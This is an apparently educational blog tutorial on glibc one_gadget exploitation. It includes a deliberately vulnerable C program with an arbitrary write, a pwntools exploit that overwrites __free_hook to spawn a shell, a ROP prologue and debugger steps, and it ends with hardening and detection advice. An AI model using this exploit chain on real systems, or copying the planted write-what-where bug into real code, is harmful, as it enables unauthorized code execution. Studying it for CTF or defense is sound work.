Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
A one_gadget is a single address inside glibc that, when jumped to, spawns a shell via execve("/bin/sh", ...) without any further ROP. It is the payoff for a very common situation: you have exactly one controlled jump — a GOT entry, a __free_hook, an __malloc_hook, an exit-handler pointer, a single overwritten return slot — and no room to marshal arguments across several gadgets. Instead of building a pop rdi; ret / pop rsi / pop rdx chain into execve, you point that one write at a magic gadget and get a shell.
The catch is that these gadgets are not unconditional. Each one is a slice of glibc code that happens to reach an execve call, and it only works if the register and memory state at the moment you land there satisfy the gadget’s constraints — for example that some register is NULL, or that [rsp+0x40] holds 0. The tool named one_gadget scans a libc and prints every such address together with its exact constraints. The skill is not finding them; it is reading the constraints and arranging for one to be true at your jump site.
Attack Prerequisites
one_gadget is an execution primitive, not a bug. To use it you already need a control-flow hijack plus knowledge of libc’s runtime location:
- A libc base address — a leak, so you can turn the gadget’s file offset into a live runtime address. Without ASLR defeated for libc, a one_gadget is useless.
- A single control-flow primitive — an overwrite of a return address, a function pointer, a hook (
__free_hook/__malloc_hookon glibc < 2.34), a GOT entry, or an exit-handler pointer that you can redirect to the gadget. - A register/stack state that satisfies at least one gadget’s constraints — this is the real requirement, and it is why some jump sites work with a one_gadget and others do not.
- The exact libc binary so the offsets and the disassembled constraints match the target; different builds move the gadgets and change which registers are free.
How It Works
glibc contains internal code paths that call execve — most famously inside exec-family helpers and in the shell-out path used by functions like system. one_gadget statically walks glibc, finds each execve call site, and works backward to compute what must hold for that call to run with "/bin/sh" as the program and a valid (NULL-terminated or NULL) argv/envp. The result is an address plus a boolean condition. A typical constraint set reads like rsi == NULL && rdx == NULL, or [rsp+0x40] == NULL, meaning: at the instant control reaches this address, those registers or memory slots must already contain zero.
Why do the constraints exist? execve(path, argv, envp) takes the program in RDI, the argv array in RSI, and envp in RDX. The gadget has already arranged RDI to point at a "/bin/sh" string baked into libc, but it cannot control RSI/RDX for you — those are whatever your calling context left behind. If argv or envp is a wild pointer, execve either fails with EFAULT or execs garbage. The gadget therefore only succeeds when the surrounding registers are already NULL (a valid empty argv/envp) or point at a NULL-terminated array. Constraints of the [rsp+X] == NULL form arise when the gadget loads argv/envp from the stack, so the requirement lands on a stack slot instead of a register.
This is why the same libc offset works from __free_hook but not from a random return site: when __free_hook is invoked, the freed pointer is in RDI and the surrounding registers are often conveniently zeroed, whereas a deep return site may have live, non-NULL values in RSI/RDX. Choosing the gadget is really choosing the one whose constraints your jump context happens to meet — or nudging the context (e.g. via a small preparatory gadget) so that it does.
Vulnerable Code / Setup
A program with a __free_hook-style single-write primitive is the canonical one_gadget host. Here a UAF-like bug hands us one arbitrary write, which we aim at a hook (illustrative; assumes glibc < 2.34 where the hooks still exist):
// note.c (glibc < 2.34 for __free_hook)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
char *p = malloc(0x20);
unsigned long where, what;
// Arbitrary write primitive handed to the attacker:
printf("leak: %p\n", (void *)&puts); // libc leak
scanf("%lu %lu", &where, &what);
*(unsigned long *)where = what; // write-what-where
free(p); // triggers __free_hook
return 0;
}
CConfirm the libc version (offsets and hook availability depend on it), then run one_gadget against that exact file:
$ ./note & cat /proc/$!/maps | grep libc # find the libc path in use
$ /lib/x86_64-linux-gnu/libc.so.6 # prints the build/version banner
GNU C Library (Ubuntu GLIBC 2.31-...) stable release version 2.31.
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
BashA representative output (offsets vary by build — never hard-code these; read them from your own target’s libc):
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
rsi == NULL || rsi points to a valid argv
rdx == NULL || rdx points to a valid envp
TEXTWalkthrough / Exploitation
Rebase libc from the leak, then pick the gadget whose constraints match the free() call context. When glibc calls __free_hook(ptr), RDI holds ptr and several scratch registers are frequently NULL right there — so we probe the candidates rather than assuming one works:
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process('./note')
io.recvuntil(b'leak: ')
libc.address = int(io.recvline(), 16) - libc.symbols['puts']
log.success('libc @ %#x' % libc.address)
one_gadgets = [0xe3afe, 0xe3b01, 0xe3b04] # from one_gadget output
gadget = libc.address + one_gadgets[1]
free_hook = libc.symbols['__free_hook']
PythonThe write-what-where aims __free_hook at the chosen gadget; the subsequent free(p) transfers control to it. We send the address as where and the gadget as what, matching the program’s scanf("%lu %lu"):
io.sendline(f'{free_hook} {gadget}'.encode())
io.interactive() # free() -> __free_hook -> one_gadget -> shell
PythonIf that gadget silently fails (the process exits without a shell), its constraints were not met — RDX or a stack slot was non-NULL at the free site. The fix is to try the other offsets, or to satisfy the constraint deliberately. When the requirement is [rsp+0x40] == NULL and you control the stack (e.g. a return-address overwrite rather than a hook), a stack pivot or a short ROP prologue that zeroes the needed register makes the gadget viable:
# When jumping from a controlled stack (ret2one_gadget) and the gadget
# needs rdx == NULL, prepend a tiny gadget to clear it first:
rop = ROP(libc)
xor_rdx = rop.find_gadget(['xor edx, edx', 'ret']) # or 'mov rdx, 0'
chain = p64(xor_rdx[0])
chain += p64(libc.address + 0xe3b01) # gadget needing rdx==NULL
# place 'chain' where the overwritten return address will consume it
PythonA quick way to know which constraints are realistic at a given site is to break there in the debugger and read the registers before deciding — you are matching observed state to the printed constraint set, not guessing:
$ gdb ./note
pwndbg> b free
pwndbg> run
pwndbg> info registers rsi rdx r12 r15
# Compare these against each one_gadget's constraints; pick the match.
BashNotes
Note: one_gadget offsets are specific to one libc build. Always run the tool against the exact
libc.so.6your target loads (identify it via/proc/PID/maps, the version banner, or a libc-database lookup from a leaked symbol’s low bytes). A gadget copied from a different Ubuntu point release will land in unrelated code and crash.
Opsec: On glibc 2.34 and later,
__malloc_hook/__free_hook/__realloc_hookwere removed, so the easiest one_gadget delivery vehicle is gone. The gadgets themselves still exist in libc, but you now reach them via a return-address overwrite, an exit-handler (__run_exit_handlers) pointer, or a FILE-vtable / FSOP path — where satisfying the constraints takes more care because you no longer inherit the tidy register state a hook provided.
Detection and Defense
Because a one_gadget is a post-exploitation execution step, defenses are the same hardening that blocks the control-flow hijack feeding it:
- Keep glibc current — 2.34+ removes the malloc hooks, closing the most convenient single-write path to a one_gadget.
- Full RELRO (
-Wl,-z,relro,-z,now) makes the GOT read-only, removing a common one-write target that would otherwise redirect a PLT call into a gadget. - Enable and check stack canaries and CFI — a one_gadget still requires hijacking control flow; canaries and forward-edge CFI (
-fcf-protection, kernel IBT) make reaching the jump harder. - seccomp allowlists — a syscall filter that forbids
execve/execveatneutralizes every one_gadget outright, since they all end in an exec syscall. - Watch for unexpected
execveof/bin/shfrom processes that never legitimately shell out — an auditdexecverule catches the successful outcome.
Real-World Impact
The one_gadget tool (by David Buchanan / released as the one_gadget Ruby gem) became a fixture of CTF pwn precisely because so many heap and hook bugs give you exactly one write. In engagement-style exploitation it is less a headline technique and more a convenience: when a memory-corruption chain has already yielded a libc leak and a single controlled pointer, a one_gadget collapses the final step from a multi-gadget execve ROP into a single value. Its declining reliability post-2.34 — fewer clean delivery hooks, tighter register state at the remaining sites — is a direct, visible consequence of glibc hardening.
Conclusion
A one_gadget trades a multi-gadget argument setup for a single jump, but only when the register and stack state at your landing site already satisfies the gadget’s constraints. The discipline is mechanical: run one_gadget against the target’s exact libc, read each constraint, inspect the actual state at your jump site in a debugger, and pick — or engineer — the match. Treat the constraints as the specification they are, and the magic address stops being magic and becomes a predictable, one-write path to a shell.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments